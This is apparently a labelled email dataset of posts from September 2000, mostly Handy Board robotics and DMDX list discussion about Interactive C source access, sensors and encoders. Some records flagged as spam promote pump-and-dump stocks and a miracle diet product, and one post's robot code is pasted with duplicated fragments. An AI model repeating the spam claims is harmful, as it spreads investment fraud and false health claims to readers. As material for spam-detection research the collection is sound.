add to if we have the labels and comments in the code. What's up with Newton Labs? Gee we can use the enhanced 2.86 for free, you decide to support them by purchasing a copy and they don't give you the latest source, they have no clue. I sent them an email stating if they don't want to release the pcode then I want a refund and I will stick with 2.86 ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Wed, 06 Sep 2000 00:49:37 +0000",Any SPI bus gurus out there?,"Hi, I have a question. Does the sonar implementation that's suggested prohibit you from adding additional devices to the SPI bus? I know you can add as many SPI devices as you have enable lines. I'd like to add sonar, compass, and RTC / battery monitor to the SPI bus. The compass is a read only device, but the RTC is r/w Anyway any ideas? ",0,0 """Cutts, Patrick H"" ","""'handyboard@media.mit.edu'"" ","Tue, 05 Sep 2000 18:28:29 -0700",RE: Newton Labs Not releasing PCODE source for 3.1,"Jerry- You didn't 'buy' IC 3.1. You paid for a license to use the software. I doubt that you were buying the actual source code, which probably took hundreds of hours for the programmers to write. That is their intellectual property, and it is their right to keep it to themselves, if they so desire. It is also likely to be illegal for you to reverse engineer the software, or disassemble it. Just a question: if you bought a car and had on your desk a manufacturing facility which could make another one, would you expect the car company to provide you with all the specs needed to enable you to reproduce the car? I doubt that complaining to the world that 'Newton Labs doesn't have a clue' will make them run out an email you the source code. Just my $0.02 -----Original Message----- From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf Of Jerry Normandin Sent: Tuesday, September 05, 2000 5:37 PM To: handyboard@media.mit.edu Subject: Newton Labs Not releasing PCODE source for 3.1 -> Fred Help! George Musser brought up a very good issue! Where the heck is pcode_hb.asm? This code was released in ver 2.86 and enhancements were made to the pcode from the user base. Newton Labs has tunnel vision and NO CLUE to how open source software can evolve. I did a find under the directory where I installed IC 3.1 on my linux box and indeed did not have the source to pcode_hb.s19. I bought 3.1 as my way of Supporting Interactive C. What a joke, I should have stayed with 2.86, if not having the source to code bothers you, and Newton Labs doesn't see the light, I recommend sticking with the free version of Interactive C, at least we can add to pcode if we wish to. If you purchase 3.1 and want to add functionality.. you can't!!!!!!!!!!!!!!!!!!!!! I don't know if Fred can help us. I thought I'd get the source to pcode_hb.asm since it was included with the Free version. We can always disassemble the code, but it would be easier to add to if we have the labels and comments in the code. What's up with Newton Labs? Gee we can use the enhanced 2.86 for free, you decide to support them by purchasing a copy and they don't give you the latest source, they have no clue. I sent them an email stating if they don't want to release the pcode then I want a refund and I will stick with 2.86 ",0,0 Carson Porterfield ,handyboard@media.mit.edu,"Tue, 05 Sep 2000 17:05:44 -0700",Re: your CtALslS,"Hi V A P L C V X I m r e I A a A b o v A L n G i z i L I a R e a t I U x A n c ra S M http://www.hunisaerkias.com cant get away, but must go on miserably burgling the same house day after day, he thought. This is the dreariest and dullest part of all this wretched, tiresome, uncomfortable adventure! I wish I was back in my hobbit-hole by my own warm fireside with the lamp shining! He often wished, too, that he could get a message for help sent to the wizard, but that of course was quite impossible; and he soon realized that if ",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 06 Sep 2000 10:37:27 +0100",[DMDX] Good Citizens,"Hi. My tutorial, www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_tutorial.html is lacking designs other than lexical decision. I can see from the questions that appear on this list that DMDX is being used for a lot more. If you can spare the time, I would be very grateful you could mail me samples of the kinds of different designs for which DMDX is being used so I can add these to my tutorial which I will be updating over the next few weeks. I will of course credit the person who wrote the design and add web links. Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Christopher Prosser ,handyboard@media.mit.edu,"Wed, 06 Sep 2000 07:27:29 +0000",Re: Newton Labs Not releasing PCODE source for 3.1 -> Fred Help!,"Whew. I have encountered the same problem back when I wanted the improved PWM code in the new version of IC. Back then (about 2 years ago) I managed to find someone who actually had a copy of the 3.1 pcode. Don't ask me for it, I lost it long ago. My general take is that development on the commercial version of Interactive C halted a long time ago. The windows version and the mac version are wildly out of sync with each other (the mac version is much, much better). No updates have been released in a couple of years and it looks like their Arc C development environment is getting all the resources in house as it is used on some of the hardware they sell. My pet peeve at the time was that the UI on windows was substandard and I wanted to donate my time to make it a little better. I too heard nothing from Newton Labs, only validating my belief that development was halted. What are we to do? Newton Labs is a commercial company, it is in their right to sell product they are no longer actively developing. Its also their right to keep the source code. I originally bought v3.1 because 1) It had a UI. 2) It supported multidimensional arrays. 3) It supported defines. I've often been tempted to start adding some of these things to the v2.8 source thats out there, but every time i look at the code I get discouraged. There are no real build instructions for all platforms, nor projects to get things started. If anyone has the time, maybe something should get started at Sourceforge.net? I'm not really using my handyboard that much anymore, so I don't have an itch to scratch. good luck, chris prosser ----- Original Message ----- From: ""Jerry Normandin"" To: Sent: Tuesday, September 05, 2000 5:36 PM Subject: Newton Labs Not releasing PCODE source for 3.1 -> Fred Help! > George Musser brought up a very good issue! Where the heck is > pcode_hb.asm? > This code was released in ver 2.86 and enhancements were made to the > pcode > from the user base. Newton Labs has tunnel vision and NO CLUE to how > open source software can evolve. I did a find under the directory where > I installed > IC 3.1 on my linux box and indeed did not have the source to > pcode_hb.s19. > I bought 3.1 as my way of Supporting Interactive C. What a joke, I > should > have stayed with 2.86, if not having the source to code bothers you, > and Newton Labs doesn't see the light, I recommend sticking with > the free version of Interactive C, at least we can add to pcode if we > wish to. > If you purchase 3.1 and want to add functionality.. you > can't!!!!!!!!!!!!!!!!!!!!! > > I don't know if Fred can help us. I thought I'd get the source to > pcode_hb.asm > since it was included with the Free version. > > We can always disassemble the code, but it would be easier to add to if > we > have the labels and comments in the code. > > What's up with Newton Labs? Gee we can use the enhanced 2.86 for free, > you decide to support them by purchasing a copy and they don't give you > the latest source, they have no clue. > > I sent them an email stating if they don't want to release the pcode > then > I want a refund and I will stick with 2.86",0,0 Roscoe Vaughn ,DMDX@psy1.psych.arizona.edu,"Wed, 06 Sep 2000 03:29:51 -0100",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. 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Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. KZY9SO65S1UA5GB77EY ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Sep 2000 09:51:28 -0700",[DMDX] Re: Preparation delays,"At 10:14 AM 9/6/00 +1000, you wrote: >Hi. > >I am using the following rtf to present backwardly masked bitmaps to >participants on a slave computer. > > >! This vm provides 4 memory buffers. >0 ; >0 g ""4e"" %2 / g ""4a"" %59 /; >0 g ""6a"" %2 / g ""6a"" %59 /; >! etc. Continues for 58 subsequent trials. >0 ""The End. Thank you for your participation.""; > >The slave receives a TTL signal through the games port from a master >computer that is running VPM. VPM is being used to deliver acoustic >startle probes, and record physiological signals (eg, EEG, facial EMG & HR). > >The problem I have encountered is that there is an inconsistent delay >between the receiving of the request (TTL, or keyboard activated on slave) >and the presentation of the bitmaps. The inconsistent delay makes it >impossible to time acoustic probes from the master computer. Preparation A >for bitmaps vary between .10 to 1500ms, whereas preparation B is steady >between 40 and 50ms. I'm presuming that Prep A relates to the loading of >the *.bmp files, and hence is processor intensive. > >If anyone is aware of how to make this delay relatively constant (i.e., >Prep A), or how to reduce it to a minimum, I'd appreciate it if you would >let me know. It may be necessary to establish a feedback signal from the >slave to the master PC, but I am unsure of DMDX's ability in this area, >and would like some advice. Use the parameter. You'll want a delay that is long enough to allow for the worst preparation times, bigger than 1500 / retrace interval. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Look under the sofa cushion; you will be surprised at what you find.",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Wed, 06 Sep 2000 22:37:39 +0000",Re: Newton Labs Not releasing PCODE source for 3.1,"That's why I Love OPEN SOURCE and the Linux Movement! OK, then I want to RETURN MY LICENSE and move on. ""Cutts, Patrick H"" wrote: > Jerry- > You didn't 'buy' IC 3.1. You paid for a license to use the software. I > doubt that you were buying the actual source code, which probably took > hundreds of hours for the programmers to write. That is their intellectual > property, and it is their right to keep it to themselves, if they so desire. > > It is also likely to be illegal for you to reverse engineer the software, or > disassemble it. > > Just a question: if you bought a car and had on your desk a manufacturing > facility which could make another one, would you expect the car company to > provide you with all the specs needed to enable you to reproduce the car? > > I doubt that complaining to the world that 'Newton Labs doesn't have a clue' > will make them run out an email you the source code. > > Just my $0.02 > > -----Original Message----- > From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf > Of Jerry Normandin > Sent: Tuesday, September 05, 2000 5:37 PM > To: handyboard@media.mit.edu > Subject: Newton Labs Not releasing PCODE source for 3.1 -> Fred Help! > > George Musser brought up a very good issue! Where the heck is > pcode_hb.asm? > This code was released in ver 2.86 and enhancements were made to the > pcode > from the user base. Newton Labs has tunnel vision and NO CLUE to how > open source software can evolve. I did a find under the directory where > I installed > IC 3.1 on my linux box and indeed did not have the source to > pcode_hb.s19. > I bought 3.1 as my way of Supporting Interactive C. What a joke, I > should > have stayed with 2.86, if not having the source to code bothers you, > and Newton Labs doesn't see the light, I recommend sticking with > the free version of Interactive C, at least we can add to pcode if we > wish to. > If you purchase 3.1 and want to add functionality.. you > can't!!!!!!!!!!!!!!!!!!!!! > > I don't know if Fred can help us. I thought I'd get the source to > pcode_hb.asm > since it was included with the Free version. > > We can always disassemble the code, but it would be easier to add to if > we > have the labels and comments in the code. > > What's up with Newton Labs? Gee we can use the enhanced 2.86 for free, > you decide to support them by purchasing a copy and they don't give you > the latest source, they have no clue. > > I sent them an email stating if they don't want to release the pcode > then > I want a refund and I will stick with 2.86 ",0,0 Daren Novak ,handyboard@media.mit.edu,"Wed, 06 Sep 2000 19:31:46 -0520",C1ARENCE c0nsu1ted a pennies with a d011ars s pennies s 0tc,"Hot Voip sector. Watch Alert starting now. Add iZON to your radars now The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation inZon Corp iZON Big News for iZON inZon Corp. Announces Network Migration Complete DELRAY BEACH, Fla.--(BUSINESS WIRE)--May 9, 2006--inZon Corporation (OTCBB:IZON - News), a dynamic global telecommunication service participant in the fast growing Voice over Internet Protocol (VoIP) wholesale telecom market, announced today that it has now completed the migration of the entirety of its customer traffic to its own private global VoIP network, which is wholly owned by the Company. (Partial clip only) Go read the entire release asap. Said inZon's CEO, David F. Levy, ""We are delighted with this achievement, which will substantially boost operating margins and further accelerate rapid growth in customer traffic."" The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received two hundred fifty thousand free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. Read the Company's Annual Report if one is available and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. wi11 C1INT0N update EDDIE ",1,0 Jerry Normandin ,handyboard@media.mit.edu,"Thu, 07 Sep 2000 00:49:38 +0000",The Pcode Source -> working on an agreement with Newton Labs,"Hi Everyone. I am working on aquiring the source to pcode_hb.asm. I pointed them to the newsgroup posting that has Randy Seargent himself directing someone to download the pcode source from newton labs. I also informed him that if I am going to expand on this platform and add functionality then I will need the pcode source. If It's no longer avaialble then I would have to revert back to 2.86 and since I was under the impression that the pcode source was available I'd need a full refund. The source was available in 1997. Someone who doesent' understand Interactive C .. possibly a sales guy made this decision. I told Newton labs to look at the pcode source to see why I need access to it. Hopefully they will include the pcode source again. ",0,0 xwr4@aol.com,qzd@aol.com,"Wed, 06 Sep 2000 23:31:57 -0000",PMIC an under-rated stock with consistent growth! ADV,"PMIC has been PROFITABLE for 30 consecutive quarters. 1999 sales exceeded 104 million. PMIC has a proven track record for growth and earnings. PMIC has partnerships with Microsoft, IBM, Intel, HP, 3 Com and a new contract with Nokia. PMIC recently purchased 25% of Rising Edge Technologies increasing PMIC ownership to 62.50%. Software programs won the Top Selling Gold Medal award in Asia. Watch this stock move and jump in when you see profits are to be made. Check it out! Get online or contact your broker to buy PMIC today - You will be glad you did. You missed Qualcom, Starbucks, Amazon don't miss this one too. William Anderson Analyst",1,0 Jerry Normandin ,handyboard@media.mit.edu,"Fri, 08 Sep 2000 01:10:04 +0000",Newton Labs posted the pcode31 source back up!!!!!!!!!!!!!!!,"Hi everyone! I guess it pays to be polite and explain why you need something! Well Newton Labs posted the pcode source back on the web server. If anyone owns an Interactive C 3.1 license and you want to work with the pcode source, it can be found at: ftp://newtonlabs.com/pub/pcode/ On another note, when I got home from work got my package from Wirz Elelctronics! I now have a Polaroid 6500 and a Vector 2X compass! A mouse encoder is overkill for the gear that I had it mounted. I have an encoder on the second drive gear in the chain. Time to rethink my wheel encoder scheme. The robot is six wheel drive, I use an encoder on both sides, that way I can vary the power to each side if the robot pulls to one side when it's supposed to go straight, ",0,0 Publicity Chair ,issac2001@zib.de,"Fri, 08 Sep 2000 14:17:15 +0200",ISSAC-2001: ISSAC 2001 - Call for Papers,"CALL FOR PAPERS International Symposium on Symbolic and Algebraic Computation University of Western Ontario, Canada, July 22-25, 2001 XXXX://www.orcca.on.ca/issac2001/ ISSAC is the yearly premier international symposium in Symbolic and Algebraic Computation that provides an opportunity to learn of new developments and to present original research results in all areas of symbolic mathematical computation. ISSAC'2001 will be locally hosted by the University of Western Ontario at London and the Ontario Research Centre for Computer Algebra (ORCCA). Important dates Before January 15, 2001 Submission to the Program Committee Chair deadline March 12, 2001 Notification of acceptance April 2, 2001 Camera -ready copy received Original research results and insightful analyses of current concerns are solicited for submission. Papers will be reviewed by a program committee and referees. Survey articles may be suitable for submission if identified as such, they will be considered in a separate category from the research papers. Proceedings will be distributed at the symposium. Electronic submission is encouraged. Program Committee Chair: Gilles.Villard@ens-lyon.fr Conference Topics: Topics of the meeting include, but are not limited to, Algorithmic mathematics. Algebraic, symbolic and symbolic-numeric algorithms. Simplification, function manipulation, equations, summation, integration, ODE/PDE, linear algebra, number theory, group and geometric computing. Computer Science. Theoretical and practical problems in symbolic computation. Systems, problem solving environments, user interfaces, softwares, libraries, parallel/distributed computing and programming languages for symbolic computation, concrete analysis, benchmarking, complexity of computer algebra algorithms, automatic differentiation, code generation, mathematical data structures and exchange protocols. Applications. Problem treatments using algebraic, symbolic or symbolic-numeric computation in an essential or a novel way. Engineering, economics and finance, physical and biological sciences, computer science, logic, mathematics, statistics, education. Program Committee: Chair: Gilles Villard, CNRS IMAG Grenoble, Gilles.Villard@ens-lyon.fr Proceedings Editor: Bernard Mourrain, INRIA Sophia Antipolis, mourrain@sophia.inria.fr Submissions must not substantially duplicate work published or submitted for publication elsewhere. Late submissions will be rejected. Best student author award. This award will be given to the best student author. An author is eligible if full-time student at the time of submission, this should be indicated. Notification. Authors will be sent notification of acceptance or rejection by e-mail on or before March 12, 2001. A final copy of each accepted paper will be required by April 2, 2001. This is again a firm deadline. An author of each accepted paper must attend the Conference and present the paper, or make arrangements to have it presented. Preparing final versions. Formatting requirements will be based on the ACM Proceedings Templates, for instance in LaTeX2e you should use the acm_proc_article-sp.cls document class file to format your document. ",0,0 Jon Price ,"rhess@unr.edu, ddavis@unr.edu, tgarside@unr.edu, jbell@unr.edu, ramelli@unr.edu, cdepolo@unr.edu, gblewitt@unr.edu, diane@seismo.unr.edu, jga@seismo.unr.edu, igbuckle@unr.edu, saiidi@unr.edu, sanders@unr.edu, norris@ce.unr.edu, stevew@seismo.unr.edu, louie@seismo.unr.edu, brune@seismo.unr.edu, vonseg@seismo.unr.edu, feng@seismo.unr.edu, jcslong@mines.unr.edu, robertd@fallon.scsr.nevada.edu, saiidi@unr.edu","Fri, 08 Sep 2000 08:01:01 -0700",Report to be released by FEMA on September 20,"TO: The Earthquake Community at UNR Depending on how big of a deal FEMA wants to make with its press release regarding its forthcoming HAZUS report on average annual loss from earthquakes in the United States, we may get lots of calls at UNR regarding this. Craig dePolo and I will be at the Seattle meeting when the report is released on September 20, and John Anderson will be in transit from the SCEC meeting to the Seattle meeting that day. Therefore some of the press questions may come to others. Below I include some of the key points that I will make if asked. >From my perspective the most important point for us to stress regarding FEMA's HAZUS work is that EARTHQUAKE HAZARDS ARE SIGNIFICANT IN NEVADA. I assume that the report will have numbers that are similar to earlier versions that we have seen - something on the order of $50 million per year as an estimate of the average annualized loss from earthquakes for residential and commercial buildings in Nevada. A direct hit in one of our urban areas could easily exceed $1 billion in economic losses. In my note to the other State Geologists and to the State Emergency Management Directors (see below) I tried to alert them to some of the concerns we have had about the HAZUS results. In particular, we need to be careful not to put too much emphasis on Nevada's rankings relative to other states. Ron Hess and Craig dePolo at NBMG and Feng Su in the Seismo Lab have some experience running HAZUS for scenarios. We have not had the resources to update the FEMA files to include local geological conditions. This means that the results for Nevada (which will be heavily weighted in terms of dollar losses to the Reno-Carson City and Las Vegas Valley urban areas) use FEMA's default soil conditions for attenuation functions and could be substantially improved. Further fault studies, geologic mapping, seismic research, engineering measurements of soil conditions, geodetic monitoring, and neotectonic modeling will likely improve the probabilistic seismic hazard maps and attenuation data that feed into HAZUS calculations. Working with local building and taxation/assessment authorities could substantially improve the building-stock data in the HAZUS program as well. We are doing quite a bit in Nevada with geological, seismological, and engineering research at the University of Nevada, Reno and with several activities of the Nevada Earthquake Safety Council (scenarios, emergency response and recovery exercises, training for building inspectors, guidelines for professional practice, K-12 school activities, and maps, brochures, and reports for the general public). But MUCH MORE NEEDS TO BE DONE. The release of this HAZUS loss-estimation report for earthquakes in the United States provides us with an excellent opportunity to demonstrate the need for support of earthquake programs. We could use this report in support of federal funding for the National Earthquake Hazards Reduction Program, the USGS's Advance National Seismic System and the National Cooperative Geologic Mapping Program, NSF's Earthscope and its components that are most significant for Nevada (Plate Boundary Observatory, U.S. Array, and InSAR), NSF's support for earthquake engineering and science research centers, and State support for NBMG, the Seismological Laboratory, academic programs in geosciences and engineering at UNR and UNLV, and the Nevada Earthquake Safety Council. Thanks for your help, should you be asked to comment about the significance of the FEMA report. Jon >Date: Thu, 07 Sep 2000 16:48:33 -0700 >To: AASGStateGeologists, AASGAssociates, WSSPCBoard >From: Jon Price >Subject: YOU MAY WANT TO ACT - EMBARGOED HAZUS REPORT >Cc: StuNishenko, s_nishenko@msn.com, MikeArmstrong, CraigWingo, PattiSutch, JimGreene > >TO: State Geologists > State Emergency Management Directors > >FROM: Jon Price > President, Association of American State Geologists, and > Chair, Western States Seismic Policy Council > >cc: Stu Nishenko, Mike Armstrong, Craig Wingo, Patti Sutch > >You may want to pay close attention to an e-mail message that we expect to receive from FEMA early next week. > >As you probably are aware, Stu Nishenko with FEMA has been working for some time on a report that will present a state-by-state and national perspective of anticipated dollar losses from earthquakes using HAZUS. HAZUS is FEMA's computer model for estimating losses from earthquakes (and eventually wind and flood hazards). Stu told me this morning at a National Earthquake Hazards Reduction Program strategic planning meeting that his annualized loss-estimation report is scheduled to be released by Mike Armstrong, FEMA's Assistant Director for Mitigation, during his speech on Wednesday morning, September 20, at the National Earthquake Risk Mitigation Conference in Seattle. > >In discussions over the last couple of years with the WSSPC Board of Directors and the AASG Hazards Committee, Mike and Stu had promised that they would give State Geologists and State Emergency Management Directors opportunities to see the report before it is released, so that we are prepared to answer questions from the press and so that we can brief our bosses (including Governors) about the implications of the report's numbers prior to their seeing the results in the newspaper. > >Early next week Stu plans to send us an e-mail with instructions on how we can access the pre-release, embargoed version of the report via the Web. PLEASE BE SURE TO HONOR THE EMBARGO. That is, don't make any public release of the information until after 10:00 a.m. on Wednesday, September 20, or whatever time Stu puts on his message to us. > >I suggest that you and others on your staff who are involved in earthquake programs and issues read the report or at least its executive summary. > >As I understand the HAZUS model, its calculations should be viewed as order-of-magnitude approximations. Although calibrations and checks using the Loma Prieta (1989) and Northridge (1994) earthquakes produce results that are within a factor of two of the real losses, the HAZUS program contains a number of assumptions about geological conditions and the value and type of buildings throughout the United States. The estimated numbers could thus be off by a factor of ten. It is therefore not wise to emphasize the difference between one state's estimated annualized loss from earthquakes of, say, $70 million, and another state's value of $200 million or $20 million. With additional work to include local geological and soil conditions, rather than the default values used by HAZUS, and better information on the local building stock, the uncertainty in the numbers can be reduced considerably. Nonetheless, the HAZUS annualized loss estimation is a good model that produces as reasonable national figure using a standardized methodology and consistent building inventory. Caution should be used when discussing the numbers at the state or local level. > >In any communications that you have with the press and others, I suggest that you also keep in mind that HAZUS results include estimated damage to residential and commercial buildings, but they do not include losses to lifelines (roads, bridges, power systems, water and sewage systems, etc.) or economic impacts from loss of business, unemployment, and other factors. That is, the HAZUS numbers are likely to be minimum estimates of total economic impacts from earthquakes. > >Another point to remember in using the report's numbers is that the basic input for HAZUS is the probabilistic seismic hazard analysis of the U.S. Geological Survey (their NEHRP provisions that also fed into the 2000 International Building Code). For many parts of the country this probabilistic approach shows a best estimate of expected annual loss, but it does not show a worst-case scenario or even a likely scenario. For example, a state with an average annual loss of, say, $10 million, might experience a significant earthquake only once every 100 years. Although this might imply that the one event would cost $1 billion (100 x $10 million), the cost may in reality be considerably higher. FEMA's report presents estimated annualized losses calculated from a long-term average estimate. The actual loss in any given year may be larger or smaller than this long-term average value. > >As an aside, one of the powerful aspects of HAZUS is that it can be run for a scenario earthquake, that is, to estimate loss from a single likely event in one urban area. > >The Board of Directors of the Western States Seismic Policy Council, which includes four State Emergency Management Directors and three State Geologists, has offered to review any press information that FEMA plans to include with its release of the report. We expect Stu to get this information to us as soon as he can. > >I would like to thank Stu, Mike, and Craig Wingo for their following through on our requests to see the report prior to its release. I believe that we have a great opportunity to capitalize on the report for the benefit of our state programs and our citizens. > >Thanks, > >Jon > > ********************************************** Jonathan G. Price Director/State Geologist Nevada Bureau of Mines and Geology University of Nevada, Reno/Mail Stop 178 Reno, Nevada 89557-0088 OFFICE TELEPHONE: 775-784-6691 extension 126 HOME TELEPHONE: 775-329-8011 FAX: 775-784-1709 E-MAIL: jprice@unr.edu",0,0 Frangois Payen ,handyboard@media.mit.edu,"Fri, 08 Sep 2000 14:14:51 +0000",Sensor supply voltage & PC communication,"Hi Everyone, I want to use a photoelectric sensor with my handy-board. The sensor require a 10 V supply voltage, while the digital inputs of the HB only supply 5 V. Can I simply use one of the motor outputs to supply the sensor, and plug the signal and ground wires of the sensor in a digital input? Also, I would like to know if there is a program readily available to send and receive data (integers more specifically) from a PC to the handy board, and if yes, I would like to know where I can get it. Thanks, Frank Payen ",0,0 Lyndon Owens ,handyboard@media.mit.edu,"Sat, 09 Sep 2000 11:52:57 +0300",unique preparations for your health and beauty,"Good time, handyboard@media.mit.edu ! We want to offer you unique preparations for your health and beauty! Our techniques and development are actively used only in expensive beauty salons in Russia. Now our products are accessible and to you! 1. Preparation for fast growing thin - ""Sofia"", after its application our clients managed to reset up to 27 kg. FOR 2 WEEKS!! The preparation is made of infrequent grasses of Siberia and Caucasus. The preparation has the license and all documents on application. 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DELIVERY: it is made during 7 days through service www.dhl.com in any point of the world! PAYMENT: at present we accept payment through e-gold and Western Union (you may send money by Credit Card, Bank Account) On questions of purchase write to us - dzumon@altern.org ",1,0 """John R. Edwards"" ",handyboard@media.mit.edu,"Sun, 10 Sep 2000 01:56:51 +0000",External Motor Power,"I have read the FAQ on cutting the trace that supplies motor power from the Handyboard battery so you can use another power source but it doesn't address the issue of what to do if you have an expansion board. I am sure someone must have done this before so if anyone knows how to use external battery power for the motors while the expansion board is being used please advise me. Thank You, John ",0,0 Beaver Ellen ,handyboard@media.mit.edu,"Sun, 10 Sep 2000 03:11:19 -0500",recover back your lost youth,"not bach some trawl , article try getaway or james ",1,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sun, 10 Sep 2000 19:41:32 +0000",Re: Sensor supply voltage & PC communication,"hi. you can certainly tap the 9.6v batt output to power the sensor (use J13), but make *sure* that the sensor does not put out more than 5v, or you'll blow your analog inputs. if you're not sure, put a 1K resistor in series with the sensor's output and the HB analog input. this might be a good idea in any case. re: sending data from HB to the PC, see the FAQ: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#serial fred In lugnet.robotics.handyboard, Frangois Payen writes: >Hi Everyone, > >I want to use a photoelectric sensor with my handy-board. The sensor require a >10 V supply voltage, while the digital inputs of the HB only supply 5 V. Can I >simply use one of the motor outputs to supply the sensor, and plug the signal >and ground wires of the sensor in a digital input? > >Also, I would like to know if there is a program readily available to send and >receive data (integers more specifically) from a PC to the handy board, and if >yes, I would like to know where I can get it. > >Thanks, > >Frank Payen ",0,1 Jerry Normandin ,handyboard@media.mit.edu,"Sun, 10 Sep 2000 20:51:25 +0000",Robot Program for Rover so far...,"Hi everyone. Well I decided to go with a Quad Hall Effect encoder. I mounted 4 very small magnets on my 1"" plastic drive gears and used the Hall Effect switch that Fred recommended. Here's the code I have and the results! For a 180 degree turn I get 24 ticks 90 12 45 6 22.5 3 For the lego gears this is ok, possibly later when the gears on the Mars Rover get updated with some metal gears I will have an optical encoder. For now I am getting pretty good results with the hall effect encoder Has anyone tried to have multiple devices on the SPI bus? RTC, Polaroid Sonar, Compass ???? int irccmd = 0; int oldirccmd ; void main () { alloff (); sony_init(1); start_process(getircommand()); while (irccmd != 23) { if (irccmd == 26 && oldirccmd != irccmd) { go_fwd(); } else if (irccmd == 24 && oldirccmd != irccmd) { go_bwd(); } else if (irccmd == 31 && oldirccmd != irccmd){ go_right (); } else if (irccmd == 30 && oldirccmd != irccmd) { int irccmd = 0; int oldirccmd ; void main () { alloff (); sony_init(1); start_process(getircommand()); while (irccmd != 23) { if (irccmd == 26 && oldirccmd != irccmd) { go_fwd(); } else if (irccmd == 24 && oldirccmd != irccmd) { go_bwd(); } else if (irccmd == 31 && oldirccmd != irccmd){ go_right (); } else if (irccmd == 30 && oldirccmd != irccmd) { go_left (); } else if (irccmd == 63) { stop (); } if (irccmd == 1 && oldirccmd != irccmd) { go_beep (); } } printf (""End Test \\n""); } void getircommand() { int irc; while(1) { irc = ir_data(0); if(irc) { go_left (); } else if (irccmd == 63) { stop (); } if (irccmd == 1 && oldirccmd != irccmd) { go_beep (); } } printf (""End Test \\n""); } void getircommand() { int irc; while(1) { irc = ir_data(0); if(irc) { if(irc >= 128) irc -= 127; irccmd = irc; } else defer(); } } void go_fwd() { oldirccmd = irccmd; encoder2_counts=0; printf (""fwd \\n""); motor (1,25); motor (2,25); fd (1); fd (2); return; } void go_bwd () { oldirccmd = irccmd; encoder2_counts=0; printf (""bwd \\n""); motor (1,-25); motor (2,-25); bk (1); bk (2); return; } void go_right () { oldirccmd = irccmd; encoder2_counts=0; printf (""right \\n""); motor (1,25); return; } void go_bwd () { oldirccmd = irccmd; encoder2_counts=0; printf (""bwd \\n""); motor (1,-25); motor (2,-25); bk (1); bk (2); return; } void go_right () { oldirccmd = irccmd; encoder2_counts=0; printf (""right \\n""); motor (1,25); motor (2,-25); fd (1); bk (2); return; } void go_left () { oldirccmd = irccmd; encoder2_counts=0; printf (""left \\n""); motor (2,25); motor (1,-25); fd (2); bk (1); return; } void stop () { oldirccmd = 100000; printf (""stop \\n""); printf (""%d encoder ticks \\n"", encoder2_counts); alloff(); sleep (1.5); return; } void go_beep () { oldirccmd = irccmd; printf (""beep \\n""); beep(); return; } ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Sun, 10 Sep 2000 22:01:06 +0000","Encoders, what are you using?","Hi, My homebrew quad hall effect encoder works, I'm learning from it. I get @ 1/4"" resolution so there's plenty of slop. I can have the robot pace back and forth on a straight track for 6 passes or so then I start to veer off track. So I guess it's time to try an optical encoder setup. I've got the Reflective sensors that Fred recommended. What are you using for an encoder disk? I've got a gear that I exposed and that's what has the 4 magnets mounted on it. It's got a 3/4"" diameter, my drive wheels are at 2 1/2"" diameter. Do you print the disk out on a Laser Printer and then glue them on cardboard and then glue that to the gears? How many more ticks per revolution can I get? I get 8 ticks right now per 1 revolution of the drive gear. ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Sun, 10 Sep 2000 22:16:25 +0000",I fixed my slop!,"Hey.. I added a quick reverse drive to the moter.. it turns out my slop was the drive system coasting! I added brake and I am more accurate now!!!!!!! ",0,0 """T. Gathright"" ",Jerry Normandin ,"Sun, 10 Sep 2000 17:23:22 -0500","Re: Encoders, what are you using?","Jerry, go to: EE 401 - Electrical Engineering Design Course - 1999/2000 then to shaft encoders they have 16, 32, or 64 sections you can print out. bye, Terry G. ----- Original Message ----- From: ""Jerry Normandin"" To: Sent: Sunday, September 10, 2000 5:01 PM Subject: Encoders, what are you using? > Hi, > > My homebrew quad hall effect encoder works, I'm learning from it. > I get @ 1/4"" resolution so there's plenty of slop. I can > have the robot pace back and forth on a straight track for 6 passes > or so then I start to veer off track. So I guess it's time to try an > optical encoder setup. I've got the Reflective sensors that > Fred recommended. What are you using for an encoder disk? I've got a > gear > that I exposed and that's what has the 4 magnets mounted on it. It's > got a 